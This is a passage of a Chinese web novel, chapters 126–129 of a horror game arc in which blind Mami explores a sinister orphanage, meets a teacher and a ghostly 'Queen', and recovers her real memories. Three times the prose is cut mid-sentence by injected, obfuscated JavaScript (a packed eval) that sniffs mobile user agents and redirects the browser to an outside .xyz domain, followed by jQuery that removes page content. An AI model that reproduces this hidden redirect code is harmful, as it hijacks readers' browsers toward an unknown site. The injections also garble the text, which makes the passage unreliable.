“砰砰砰!” 门忽然被大力敲响,吓了小余一大跳。 歌歌推开门,扫了一眼房间:“托特老师让大家去教室上课。” 126. 疯狂爱丽丝14 “上午好,我亲爱的孩子们。” 站在讲台上的男人扬起笑脸,西装穿得板板正正。 “早上已经做过自我介绍了,还记得我叫什么吗?” 无人回应。 孩子们有些紧张地攥着衣角,这里说是教室,其实改造之前只是孤儿院用来存放东西的旧仓库,光线自然算不上多好。 “托、托特先生!”小胖墩举手回答。 这个上了年纪的托特先生笑得更加夸张:“答对了!” 他转身在黑板上写上自己的名字——“Mr.Turtle”,指甲有些长,刮擦黑板的声音让玛弥不由自主皱起了眉。 “托特先生喜欢聪明的孩子,”他摊开手,手中不知怎的多出了一颗五颜六色的糖果,在昏暗的光线下闪着诡异的光泽,像是发光的甲虫。 “吸溜。”小胖墩接过糖果,迫不及待地塞进口中。 玛弥清晰地听见身旁的小余也吸了口口水。 “你也想吃吗?” “当然,那可是糖!” 对孤儿院的孩子们来说,糖果可是最高级的奖赏! 大家都知道院长妈妈那有一罐糖果,被她藏在柜子最高处,只有最最听话的小孩才能得到奖励! “现在,你们已经认识了托特先生,应该让托特先生认识认识你们了。” 托特先生回到讲台,打开一本由黑色皮质制作而成的名册,霍格眼尖地发现封面上似乎有一个暗红色的手印。 “接下来被点到名字的同学请站起来,告诉大家你的名字、年龄,以及……” “轰隆隆!” 忽然响起的雷声掩盖住他的声音,托特先生没有生气,只是微笑着再重复了一遍。 “以及——你的秘密小故事。” “托特先生……可最喜欢听故事了。” 大雨落下,温度也随之降低,小余搓了搓起鸡皮疙瘩的手臂,他年纪小又爱动,有些坐不住。 小余四处张望着,突然,他动作一顿,教室的窗户上,居然结了一层薄霜。 现在可是夏天! 他一点点挪动椅子,让自己靠上窗户,趁托特先生不注意,偷偷摘了霜花放到玛弥小柚和霍格的手上:“给你们!花花!” “小余。” 托特先生的声音传来,小余脖颈一紧,连忙站起:“我、我叫小余,今年六岁了。” “嗯,你有什么秘密呢?” “我的秘密……”小余抠了抠脸颊,想半天才道,“我害怕虫子,这是秘密吗?” 托特先生写字的手一个用力,在纸上留下了一道深深的划痕,他像是想起什么,脸色有些不大好看。 “嗯,坐下吧。” 他不再看小余,只自顾自地在他的名字旁画了个符号,像是一只虫子。 奇怪的是,那符号微微凸起,仿佛有生命一样蠕动着。 笔迹停了停,然后,他忽然抬笔把虫子划去,接着又把小余的名字也一并划去,划痕很深,呈现出铁锈般的暗红色。 托特先生继续点名,每个被他叫到名字的小孩都或多或少的说出了自己的秘密。 “我看看还有谁没叫到…玛弥?噢,这可真是个奇怪的名字。” 玛弥坦然站起,她想了想,开口道:“我叫玛弥,今年七岁。” 说到这,她停顿了一下:“我的秘密是…害怕打雷。” 托特先生笑容一僵,眼睛眯了起来。 “你是个聪明孩子,但托特先生不喜欢太聪明的孩子,因为太聪明的孩子总有些坏习惯,比如——说谎。” 他的声音忽然变成无数细小的耳语,径直钻入玛弥耳膜,玛弥心脏重重一跳,她沉默两秒,然后继续说:“我不喜欢打雷,因为打雷的时候,会听到奇怪的声音。” “哦?”托特先生起了兴趣,“什么样的声音?” “很快速的‘哒哒’声,您知道的,我看不见,所以耳朵格外灵敏,对我来说太吵了,很讨厌。” 她坦然说着,这其中半真半假。 事实上,这奇怪的短促声响并不是只在打雷时出现,而是一直、一直响着。 从她早上醒来开始,这声音就如影随形,无时无刻,既不至于响到影响她的生活,又让她每时每刻都心烦意乱。 托特先生盯着她看了一会儿,似乎无法辨认出她是不是在说谎,于是提笔在她的名字旁画了个问号。 “坐下吧。”他拿出一颗糖递到玛弥手中,“有趣的孩子总是该得到些奖励。” 那颗糖通体漆黑,转动时似乎能看到些带着血色的纹路。 玛弥微微顿了一下,然后镇定地将糖果放入口袋:“谢谢托特先生,很抱歉,我能去下洗手间吗?” 小柚抓住她的袖子:“陪你?” 托特先生:“你自己都这么小,怎么帮助她?让托特先生来帮助你吧。” 玛弥拒绝:“不用,我自己可以的,怎么能耽误大家的上课时间呢。” 似乎是确认了她真的不用,托特先生有些失望地松口:“那你快去快回。” 出门时,不知道是不是她的错觉——口袋里的那颗糖果,似乎正在规律地跳动着。 扑通、扑通…… 像是一颗小小的心脏。 玛弥扶着墙慢慢走着,这里是一楼,这间是他们的活动室,说是活动室其实也是旧仓库改的,这一间是院长妈妈的办公室,办公室里没有声响,院长妈妈现在不在里面,而这间…… 她仔仔细细地将这些房间的位置记在脑中,心中产生了一个巨大的疑团。 自己真的在这家孤儿院里生活过七年吗? 虽然每间房间的位置都跟她记忆里的一样,可为什么……总觉得很陌生呢? “哒、哒、哒、哒……” 那细碎的声响不断响着,每一声之间的间隔都一模一样。 “哒、啪嗒、哒、哒、啪嗒……” 嗯? 玛弥脚步微微顿了一下,这是什么声音? “啪嗒、啪嗒。” 这声音越来越大,听起来像是某人的脚步声,可她从来没有在孤儿院里听见过。 她试着靠边避让,可她一旦慢下脚步,这个跟着她的脚步声也一同慢下。 对方在跟着她? 玛弥一时有些紧张,这家孤儿院没有名字,是由上流社会的老爷夫人们一时好心才组建起来的,专门收留那些生出来就与众不同的婴儿,或是在战争中造成某些缺陷的小孩。 一开始,他们也是过过一些好日子的,只是随着时间越久,打过来的钱越来越少,他们的生活水平也急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15367684|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转直下,甚至……还死了几个小孩。 直到最近新上任了个大人物,才又拨了一笔款项过来,他们也迎来了新老师。 但即便如此,孤儿院的日子依然不大好过。 在这种地方长大的她,有什么值得对方特意跟着的? 玛弥想不通,她干脆停下脚步,身后的脚步声也一并停下。 “你好,有什么我可以帮助你的吗?” 她侧着耳朵仔细去听,外头时不时劈下的雷声严重影响了她的听觉,她听了许久,才确认身后一点声音都没有。 那人走了? 她试着回身走了几步,依然没有声音。 “轰隆隆!” 雷声响起,伴随着一同响起的是一道又细又长的哭声——来自锅炉房。 锅炉房?! 玛弥睁大双眼,这房间位于地下,单独设置在走廊最里头的地方,被院长妈妈严令禁止大家进入。 明面上是说那里危险,小孩去容易受伤。 实际上,大家都知道,那几个死去的同伴就是在那里火化的。 他们被裹尸布裹好,送入锅炉中,然后被院长妈妈扫出,用黑色的袋子带了出去,不知道送到了哪里。 这道如泣如诉的哭声越来越响,玛弥决定去看看。 她很快下了楼,可她不知道的是,就在她以为跟着她的人离开的地方,那里停留着一双鞋——一双浑身湿透的鞋。 地下一层没有人,玛弥快速穿行而过,来到了锅炉房。 这里上着锁,她试着敲了敲门,房间里的哭声戛然而止,片刻后,玛弥又敲了两下。 “咚咚。” 还是没有回应。 玛弥锲而不舍地敲了第三下:“你好?我——” 门忽然被打开,她没有站稳,直直摔进了开门人的怀中。 那人穿着孤儿院里统一的粗布麻裙,慌乱间,玛弥不小心拽了一把对方的长发,很柔顺。 这是个比她高不了多少的女孩,孤儿院里有这样的孩子吗? 不等她细想,那人的尖叫声已经响起:“你做什么!” 玛弥被一下推开,她摸着墙站稳:“抱歉,我不是故意的。” 那女孩上下打量了她一番,良久,从鼻子里发出一声轻哼:“算了,原谅你了……你来这里做什么?” 玛弥诚实道:“我听见你在哭——” “谁哭了!谁哭了?!”那女孩像是炸了毛的猫,哐哐哐后退。 她生硬道:“你听错了。” “嗯,我听错了。”玛弥好脾气道,“我叫玛弥,你呢?你也是这里的孩子吗?” “女王,你可以叫我女王陛下。”女孩矜持道。 玛弥:…… 救命,遇到中二病了。 锅炉房很是闷热,外头还在下着大雨,闷上加闷。 刚在这里说了几句话,玛弥就感觉到额头隐隐汗湿:“我们出去说话吧,这里太热了。” 女孩摇摇头,摇到一半又想起眼前这人看不见,她喉头一哽,憋气道:“……我出不去。” “为什么?” “……院长妈妈不让我出去。” 突然,玛弥手腕一凉,一只冰冷潮湿的手握住她。 “你留下来,陪我玩个游戏吧?” 127. 疯狂爱丽丝15 “你留下来,陪我玩个游戏吧?” 这个中二“女王”的声音逐渐变得高亢起来,玛弥下意识后退,却不小心踩在了什么东西上面,差点摔倒。 那东西被袋子装着,很结实,一块一块的,摸起来的手感令人不适。 不等她细细思索,锅炉房的温度转瞬间升高。 “哐当、哐当……” 锅炉动了起来,玛弥转身就走。 “嘶——” 才几秒而已,门把手就变得滚烫,她用衣角裹住手指,想去开门,女孩的声音在她肩头响起: “你要离开?为什么?” 她的声音中满是困惑:“你不想当我的朋友吗?” 太近了! 玛弥下意识手腕一旋,就要掏出…掏出……她要掏出什么来着? “咦?你伸手是想跟我玩拍手游戏吗?” 锅炉房温度稍降,女孩有些不情愿道:“可我更喜欢玩纸牌游戏——” 玛弥没有搭话,她的脑子有些混乱。 正常小孩遇到这种事应该会非常害怕,可她非但不害怕,甚至还有些……“愤怒”。 就像是自己最珍贵的宝物被谁强行夺走似的。 她好像忘记了什么东西,玛弥快速检查了一遍自己的记忆,奇怪的是,她的记忆非常完整,从进入孤儿院那天开始一直到今天,无论是三年前的晚饭还是死去的那几个小孩,她都记得异常清楚。 一种毛骨悚然的感觉袭上她的心头,这,不正是最大的异常吗? “你为什么不说话?”女王在她耳边轻轻吐着气,气息冰凉,一下拉回了她的注意力。 玛弥微微垂下头,任由遮住眼帘的布条被女孩挑起。 “我该回去了。” “呵呵,”女王发出一声轻笑,“你不想知道自己身上究竟发生了什么吗?” 玛弥皱眉,她侧过头:“你知道?” 无法看见对方是什么表情有些影响她的判断,她心里急切,面上也不由泄露出一丝痕迹。 她的长相实在算不上多特别,被麻布蒙住的眼睛还给她带上些许脆弱的特质,站着不动的时候看着像是株风一吹就倒的山间野草,好像什么都能打败她,可如果你真的这么认为,准备上手去拔时就会知道这株野草的锋芒。 有点子扎手。 女王沉默片刻:“……我可是女王陛下,这里没有我不知道的东西!” 玛弥歪了歪头,她似乎在对方的语气中,听到了……嫉妒? 她在嫉妒自己?一个瞎子小孩? “你怎么不说话了?”女王有些迫不及待地凑近,“想知道的话,就留下来陪我玩游戏!” 见对方还是面无表情,女王有些生气:“我命令你说话!” 锅炉房温度骤然升高,一股皮肉烧焦的味道传来,玛弥摸索了几下自己的掌心,总感觉,这里少了把武器。 “咚咚咚。” 门忽然响了,锅炉声霎时停住。 女王:“谁?!” 门外传来了霍格的声音:“玛弥在吗?托特老师叫她去回去上课。” 玛弥冷静开口:“来了。” 说着,她就要去开门,可锅炉房温度没有降下,反倒更加闷热,铁质的门把手几乎要在这温度下融化。 女王既不让她走,也不说话,场面一下僵持住。 过了一会儿,门再次被敲响。 “我开门了。” 然后,门口传来了撬锁的声音。 “什么——!”女王大怒,她喘着气,玛弥几乎能听到对方牙齿咬得咯咯作响。 撬锁的声音越来越响,不知道霍格拿了什么东西,那声音响得令人怀疑是不是整座孤儿院都能听见。 女王深吸两口气,凑到玛弥耳边:“你还会来找我的。” 玛弥弯起嘴角:“好,下次见。” 友好的像是久别重逢的老友。 女王:…… 她咬牙切齿地往对方手里塞了什么:“做我的朋友,就不能再找‘她’玩了!” “哪个‘她’?” “当然是楼上那个!”女王抬手要指,又突然想起这人看不见,“就是那个金头发……啧,就是被关在走廊最深处那个!” 说完,锅炉房的温度突然下降,恢复了最初的模样,刚刚那种火烧火燎的感觉像是一场梦。 门“哐”的一声被砸开,霍格扶住她的手臂:“没事吧。” 他快速扫了一眼对方,确认对方无事后又探头进去,检查了一遍锅炉房。 这里除了玛弥外,没有其他人,锅炉好端端的闭合着,地上堆满了黑色的袋子,鼓鼓囊囊,也不知道装了什么。 “没事。” 在霍格的帮助下,她摸索了一遍锅炉房的装置,将脑海中的孤儿院地图拼完整。 霍格:“你刚刚在跟谁说话?” 玛弥将刚刚发生的事一一告知,霍格皱眉:“你也发现了?” 他的记忆太清晰了,反倒显得很假。 而且,他的脑子里会时不时出现一些奇怪的记忆,就好像……这个他根本就不是他一样。 “帮我看下,这是什么?” 玛弥举起手中的东西递过去,那是女王刚刚塞给她的。 霍格低头看了一眼:“Q,扑克牌里的梅花Q。” 玛弥一愣,有些不明白为什么要给她这个,但她还是好好将扑克牌放进口袋,两人快速回到教室。 托特老师的教学水平很优秀,教课时时常会引经据典,除了有些绅士的通病,喜欢咬文嚼字外,找不出什么其他的毛病。 晚饭时的粥更稀了,院长妈妈将每个人都骂了一遍,她的口音里掺杂了许多俚语,玛弥大致听了听,似乎是出了什么变故,上面打过来的钱越来越少,他们这群孩子却一天天长大,吃得越来越多。 院长妈妈今天的心情格外焦躁,爱丽丝吃饭时不小心掉了颗米粒在桌上,被院长妈妈粗暴地抓起。 “说了多少次了不准浪费粮食?!居然还敢,非要我发火是不是?!看来你需要饿几顿才能学会珍惜!” 她拽着爱丽丝上楼,爱丽丝一声不吭地被她推进走廊最深处的房间,只听“咔嚓”一声,房间上了锁。 院长妈妈脸色漆黑:“等你什么时候知道错误了再让你出来!” 她气冲冲地下楼,看看那群皮崽子们有没有趁她不在闹出什么乱子来,千万别被她逮到,否则—— 忽然,天空中响起一阵巨大的轰鸣声。 院长妈妈脚下一顿,随即冲进食堂:“快滚回你们的房间!熄灯时间到了!” 教鞭发出凌厉的破空声,所有孩子们在短短一分钟内冲回了卧室,院长妈妈一一检查,将窗帘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15381991|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉下,灯快速熄灭。 “不准说话,睡觉!别让我发现你们熄灯之后还在玩!” 她快速关上门离开,行色匆匆。 一开始还有孩子在小声说话,他们不知道发生了什么,只敏感地察觉到有什么事要发生,不过很快,就一个接一个的睡了过去。 孤儿院漆黑一片,从远处看来,根本不会想到这里还住着人。 玛弥在床上翻来覆去,睡得很不踏实,隐约间,她做了一个梦。 梦里有一只不断转动的表盘,发出规律的“哒哒”声,她想凑近看一眼时间,那表盘却离她越来越远,她拼命追、拼命追……怎么追也追不上。 她气急败坏,反手掏出一把精致的小手木仓,正要扣动扳机—— 忽然,她听到了一声刺耳的叫声,尖利极了。 玛弥猛地睁开眼,眼前漆黑一片,她四肢无力,恍惚间甚至都分不清自己是醒了还是还在梦中。 那叫声只响了一次,细细回忆,听起来似乎像柴郡猫的猫叫声。 一缕柔软的毛发缠上她的手指,玛弥努力抬起手指摸了一下,毛发有些长,手感丝滑,带着些凉意:“柴郡猫?” 猫没有发出声音,只是轻轻拍打了一下她的手背。 她再次生出困意,打了个哈欠,然后沉沉睡去。 “玛弥?醒醒。” 她睁开沉重的眼皮,呼吸滚烫,含糊不清道:“怎么了?” 小柚摸了摸她的额头,扭头说:“她发烧了。” 小余看向霍格,眼睛一下就红了:“她会跟小杰一样吗?” 小杰是之前睡他上铺的小孩,在一个寒冷的夜晚后,他被院长妈妈装进了大袋子里,再也没有见过他。 霍格皱起眉毛,心中难得涌上一丝烦躁:“不会,我去办公室找药。” “那、那我去倒水!” 他们房间里是没有水的,要水的话只能去食堂。 小余站起身:“小柚你照顾好玛弥哦,我们马上就回来!” 小柚点了点头,白色的毛发在空中抖了抖。 过了一会儿,霍格拿着药回来了,他疑惑道:“他人呢?” 只是倒个水而已,怎么比他还慢? 又过了一会,小余姗姗来迟,他端着个大碗,小心翼翼地捧到玛弥面前,等喂过药后,小柚才好奇道:“你在哪找的水?好慢。” “哦,食堂没水,我碰到了爱丽丝,她给我的。” 小柚很是惊讶,那个神神叨叨的爱丽丝?霍格则更是离谱,他接过水自己喝了一口,没感觉到有什么问题才放下。 索性药效起得很快,玛弥再醒来时,已经是后半夜。 “醒了?喝水吗?” 是霍格的声音,他一出声,小余也醒了过来,他立刻窜上前来:“玛弥!你醒啦!哇,你不知道,可吓坏我们了!我还以为你要……” 被霍格一下捂住嘴,他才反应过来。 正准备再说话,却发现玛弥的反应不大对劲。 她脸色很白,嘴唇也干燥的要命,她躺在那,那双盲眼直勾勾地盯着床顶。 小余:“你、你还好吗?玛弥?” 这个模样,真的很像被魔鬼侵入心神啊! 她依然看不见,但那双眼睛却越来越用力地瞪着上方,然后,嘴皮子掀开,骂了一句:“靠!还我眼睛!” 128. 疯狂爱丽丝16 郝荨气坏了,她对着空气骂骂咧咧。 该死的迷雾游戏拿走她的视力就算了,还敢篡改她的记忆! 要不是她意外醒来,难不成要在这个副本里度过余生吗?! 想着,她抬起手抓了抓头发,汗湿的发丝黏在身上让她很不舒服。 “等下。” 被她唤醒的方柚柚忽然开口,她伸手从郝荨指尖摘下什么,对着窗外查看。 “嗯?”郝荨想起什么,“是柴郡猫的毛吗?我半梦半醒时好像摸到它了。” 方柚柚很沉默,郝荨察觉到了不对。 “……怎么了?” 余逸:“哈哈……那好像,是根金毛,咱们院里养狗了吗?” 很显然,是没有的。 整个孤儿院里只有一个人是金发,大家心中浮现出一个人名——爱丽丝。 郝荨没忍住打了个激灵,那她昏昏沉沉的时候摸到的……是个大活人? 霍格皱眉,对着余逸问道:“你刚刚说,是爱丽丝带你去找的水?” 余逸点头,点到一半他也意识到了什么。 “不对啊,我记得…晚饭的时候,院长妈妈不是把她锁在房里了吗!” 那他碰到的那个,真的是爱丽丝吗? “我撞鬼了?!”余逸颤颤巍巍道。 郝荨将剩下的水几口喝完:“你们有看到什么任务相关的线索吗?” 余逸苦思冥想后摇了摇头。 方柚柚提出了一个观点:“这里的爱丽丝看起来比我们遇到的那个要小几岁,我们会不会是进入了‘过去’?” 郝荨思索片刻,开口道:“也或者,是某人的一段回忆。” 至于这个某人是谁,大家心知肚明,除了爱丽丝外,别无他想。 “你们都听过《爱丽丝梦游仙境》这个童话吧,童话讲述了爱丽丝在追赶一只神奇的钟表兔时,不慎掉入兔子洞,在这个神奇又疯狂的世界中经历的一系列奇幻冒险故事。” “但其实,这一切不过是爱丽丝做的梦而已。” 郝荨伸出手指轻轻敲了敲自己的眼珠,发出“咚咚”的响声,这声音不像是在敲眼睛,倒更像是在敲硬质纽扣。 “你们觉得……对于爱丽丝而言,童话世界是梦,还是这座孤儿院才是梦?” 这一下把大家都问住了,如果说这里是梦,童话世界才是真实的话,那他们难道还得回去当棋子不成? 方柚柚思索片刻,笃定道:“童话世界是梦,那盘棋,我们不可能赢。” 棋子如何赢过棋手,那根本就是一道无解的题,日落不会到来,他们永远也走不完所有的格子。 因为,他们每经过一场游戏,身上的异化程度就会大大加深。 方柚柚已经想明白了,那只怀揣钟表的兔子是在提醒他们—— “没有时间了!” 郝荨垂下眼帘,他们的游戏目标是【逃离茶话会】,对于爱丽丝而言,所有她邀请而来的人,参加的都是“茶话会”。 郝荨:“你们看见过兔子吗?” 余逸疑惑:“什么兔子?” 郝荨想了想,慢慢道:“童话世界是爱丽丝的一场梦,所有梦里的角色都在现实世界中出现过,柴郡猫是孤儿院里的黑猫,毛毛虫手中的教鞭女是院长妈妈,托特先生就是现实里的托特老师,红心女王很可能是我在锅炉房碰见的女王……只唯独少了一个角色。” 余逸恍然:“那只会掉头的兔子!” 是的,正是那只头顶钟表,手里提着黑色袋子的兔子! “……可是这里好像没有兔子,非要说的话,最像兔子的就是柚柚跟她哥了!” 这间孤儿院不大,除开地下一层外,地面上只有两层,后面有一片开满野花的“小花园”,两边分别坐落着两座坚实的小屋,是院长妈妈和托特先生的住处。 一眼就能望得到头。 “院长妈妈和托特先生正在睡觉,我们暂时去不了,但有一个地方我们还没去过,”郝荨掀开被子,站起身,“爱丽丝的房间。” 爱丽丝的房间在他们这层楼的最里面,所有油灯都被院长妈妈吹熄,他们只能借着雷电闪过的光,摸墙来到爱丽丝的房间门口。 余逸一马当先,他试着推了推,本以为这里会锁着,却没想到居然一碰就开。 他伸出食指小心翼翼推开一条缝隙,观察里面的情况。 郝荨:“里面没人。” 她没有听见有除他们外的呼吸声。 “哦!”余逸放松下来,将门推开。 房间里弥漫着一股臭味,这间房间里没有床,只有无数破旧的麻布袋子堆积在一起,叠成了一个小小的垫子。 这些袋子或多或少都带有破损,有些是撕扯开的,有些则是被什么锋利的东西划烂,摸上去手感有些潮湿,令人忍不住锁紧眉头。 角落里,余逸突然发出一声惊呼。 郝荨:“怎么了?” 余逸沉默两秒,他有些不好意思说自己被镜子吓到了,那镜子从中间裂成两半,乍一看去,他还以为看到了四只眼睛的怪物。 但很快,他就顾不上不好意思了,余逸指着镜子扭头:“有血!” 镜子里的余逸依然盯着他,然后,从眼睛里往外汩汩冒着鲜血,片刻功夫而已,就完全糊满了整面镜子! 霍格走了过来,他伸手摸了一把,却只摸到干涸的血迹。 看样子,这些血迹已经是许久之前留下的了。 层层叠叠,新旧不一的血迹将镜子遮掩得严严实实。 见状,余逸一怔,那自己刚刚那是……幻觉? 方柚柚的声音响起:“你们来看这个。” 她手上拿着半张报纸,断口不是很光滑,但很规整,看得出来,这张报纸的主人很仔细地将报纸从某处撕了下来。 【《晨星报》特刊:探访圣玛利亚特殊儿童孤儿院】 【记者:布莱克·威尔】 【在迷雾笼罩的北地荒原上,藏着一座古老的建筑——圣玛利亚圣玛利亚特殊儿童孤儿院,近日,这座鲜少被外界关注的孤儿院突然成为舆论焦点,原因是大慈善家阿尔伯特·冯·霍恩海姆爵士宣布向该机构捐赠两千镑,用于改善特殊儿童的生活条件,还将自己最优秀的助手托特先生派来担任他们的老师。】 【然而,当本报记者踏入这座福利院时,扑面而来的并非温暖的关怀,而是一种难以言喻的冰冷与压抑。】 【“被诅咒的孩子们”】 【圣玛利亚孤儿院收留的孩子,无一例外都患有某种身体缺陷——苍白的皮肤与毛发、畸形的肢体、空洞的眼眶……院长女士在接待记者时,脸上挂着僵硬的微笑,称这些孩子为“被神明特别标记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15398846|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的灵魂”,“他们并不是被恶魔诅咒的孩子”,她这样说道。】 【“我们给予他们庇护,教导他们学识,让他们免于被外界侵扰。”】 【或许是她过于辛劳,院长女士的声音听来如同枯叶在摩擦。】 【孩子们在院长女士的带领下缓步行走在走廊,像一群沉默的幽灵,他们穿着统一的制服,袖口和领口磨损严重,有些孩子身上缠绕着绷带,绷带下渗出些可疑的暗色污渍。】 【阿尔伯特·冯·霍恩海姆爵士对这些孩子们非常关注,哪怕在大战来临之际也要亲自前去对他们表达慰问,据孩子们私下透露,爵士偶尔会在深夜前来探访,会面地点就选在了助理所住的小屋。】 【令人不安的是,有孩子曾在睡梦中呢喃一些听不清的话语,而第二天,他们的身体症状……似乎变得更加严重。】 【记者试图查阅孤儿院的收容记录,却发现每隔一段时间档案就会缺失一些,院长女士给出的解释是“意外损毁”。】 【……】 【在深入探访后,我必须要纠正此前报道中可能造成的误解,这座庄严而神圣的建筑是北地希望的灯塔,是阿尔伯特·冯·霍恩海姆爵士伟大善行的明证。】 【在这里每个孩子都得到了无微不至的照料,院长女士以近乎圣徒般的耐心为大家准备美食,托特先生则在每个夜晚都义务陪同孩子们玩耍,让他们能够享受如正常孩童一般的快乐。】 【爵士是真正的慈善家,圣玛利亚特殊儿童孤儿院不是噩梦,而是奇迹开始的地方,阿尔伯特·冯·霍恩海姆爵士,则是这个奇迹的缔造者!】 这篇报道的下方还有一张照片,照片中央那个看不清脸的男子正侧着头与院长妈妈说话,托特先生微笑着跟在他的身边。 这张照片是捐款时拍摄的。 三个大人的身后,孤儿院的所有孩子都安静地站成一排,他们穿着一样的制服,每个人都努力把自己的缺陷部分挡住,他们甚至在照片上看到了自己。 方柚柚扫了一眼:“咦?少了一个人。” “谁啊?”余逸点了点,“啊!少了爱丽丝!” “没少。”霍格伸出手,点了点二楼最边上的窗口。 那里黑乎乎的,只有一点奇怪的反光。 余逸仔细凑近查看,也没看出来有什么人形:“看不出来啊……” 霍格提醒道:“你对比一下其他房间。” 就着雷点闪过的光,他仔细看了半天,忽然意识到了什么。 其他房间的的窗口虽然也没什么光,但仔细看也能看到些房内的摆设,可唯独爱丽丝的那间房黑洞洞的,什么也看不见。 这只能说明,有什么挡在了窗口。 是爱丽丝! 她带着她的麻布袋子躲在窗口,那一点反光是她的金发! “小心!” 郝荨忽然拽了大家一把,将几人拽离窗口,下一秒,渡鸦扑棱着翅膀撞上了窗户。 “嘎嘎!” 分不清它是不是在嘲笑着,渡鸦发出几声难听的叫声后,又扑腾着翅膀飞走。 余逸不敢相信:“它在恶作剧?!” 霍格上前查看,忽然,他脚步一顿。 往下看去,瓢泼大雨里,爱丽丝正站在花园中,抬着头看向他们,她的裙摆颜色深的有些不正常,隐约能看到血迹。 129. 疯狂爱丽丝17 “嘶——” 口袋里的扑克牌瞬间变得冰凉,郝荨被冻得打了个冷战。 可马上,她又被另一边口袋里的炙热温度烫到,是托特先生给她的那颗糖。 余逸:“咦?爱丽丝不见了!” 只一眨眼的功夫,外面就只剩下了噼里啪啦的雨水,和雨水打下蒸腾而起的浓雾。 郝荨费劲地取出扑克牌,这张扑克牌上结了一层薄薄的冰,入手是刺骨的凉意,方柚柚见到后,愣了一下:“梅花Q?” 余逸好奇:“这牌不好吗?” 方柚柚摇头,然后又点了点头:“这是人头牌,每张人头牌都有自己的名字,Q,指代的是Queen,四张Q里最出名的是黑桃Q,你们应该都听过她的名字——智慧女神雅典娜。” 她看向郝荨手中的扑克牌:“梅花Q的名字是阿金尼,看到她手里的花了吗?” 扑克牌中的人像手里捧着一束玫瑰花,红白相间。 “历史上曾经有一个极为强盛的王朝,随着这个王朝的衰退,分裂成了两个兄弟王朝,这两个王朝分别以红玫瑰与白玫瑰作为其标志,在经历过许多场战役后,两个王朝终于决定和解,所以,这张牌既代表了仇恨与分裂,又代表了联合与新生,是非常矛盾的一张牌——你手指冻红了!” 郝荨的手指已经有些麻木,她甩了甩扑克牌,然后,用另一只手拿出了托特老师送给她的糖。 那颗糖跳动得越发明显,像是一颗滚烫的心脏。 郝荨果断把糖按在扑克牌上,心脏猛地顿住,明明是死物,郝荨却能感觉到对方的满头问号。 然后,糖像是不信邪似的,一下子变得更烫,扑克牌不甘示弱。 没有谁!能在我的手下!赢过我! 一牌一糖就像是矛遇上了箭,谁也奈何不了谁。 片刻后,它们双双熄火,郝荨满意地将变得温热的牌和糖放进口袋,正准备离开,她却踩中了什么。 这一处地板的声音有些奇怪,像是空的。 地板撬开,里面竟然有个娃娃! 麻布条一圈一圈缠绕在娃娃身上,布条看起来已经有些年头,上面还有一些红色的印字,余逸不愿去想那是什么,他翻开一瞧,娃娃的背后竟然写了字—— ——【致爱丽丝:我们永远是最好的朋友。】 “爱丽丝……有朋友吗?” 此话一出,众人立刻陷入了沉默。 这里虽然是孤儿院,大家都是没人要的孩子,可恰恰因此,这里有着非常严格的等级制度,能将缺陷藏起来的鄙视缺陷藏不住的,长相可爱的鄙视长相丑陋的,被院长妈妈和老师喜欢的鄙视不讨喜的……大家被划分成一个又一个小团体。 所有人都或多或少有一两个“朋友”,只有爱丽丝,她的独眼令人恐惧,行事又疯疯癫癫,再加上院长妈妈的厌恶,在这个小小的孤儿院里,没有人愿意跟她做朋友。 “去问问其他小孩?” 余逸提议,他们的记忆是被游戏篡改的,或许和NPC记忆中的有出入也不一定。 “好。” 他们回到房间,奇怪的是,房间里的小孩子都不见了。 不,不止是他们的卧室,整间孤儿院里,除了玩家外,连个人影都找不到! 方柚柚牵着郝荨准备下楼,两人打算去地下再找找,她的手忽然一紧。 “嗯?”方柚柚从鼻子里发出一声疑问。 郝荨:“有人上来了。” 几秒后,一个意想不到的人影走了上来。 “朱朱?”方柚柚有些惊讶。 这个在食堂里帮过小胖墩的孩子不是别人,正是玩家——朱姐。 她就着雷光仔细看向对方,发现朱姐的面色有些奇怪,见到他们,对方非但不惊喜,还下意识地退后了一步,似乎藏起了什么东西。 朱姐脸色尴尬,囫囵点了点头,算是跟她们打过招呼。 郝荨开口:“这么晚了,你去下面做什么?” 朱姐本想随便哄两句,把她们打发走,但她很快意识到,普通小孩根本不可能有单子违背院长妈妈的命令,半夜跑出来,所以,这两个玩家一定跟她一样,也“醒”了,更有甚者,她们可能比她醒的还早。 她一瞬间带上防备之色:“我饿了,去找点吃的。” 方柚柚费解:“食堂还有吃的吗?” 就院长妈妈那个样儿,好像生怕他们多吃一口似的,老鼠去了食堂都找不到面条给自己上吊,还能找到吃的? 朱姐“嗯”了一声,夸张地打了个哈欠:“现在没了,我们回去睡觉吧。” 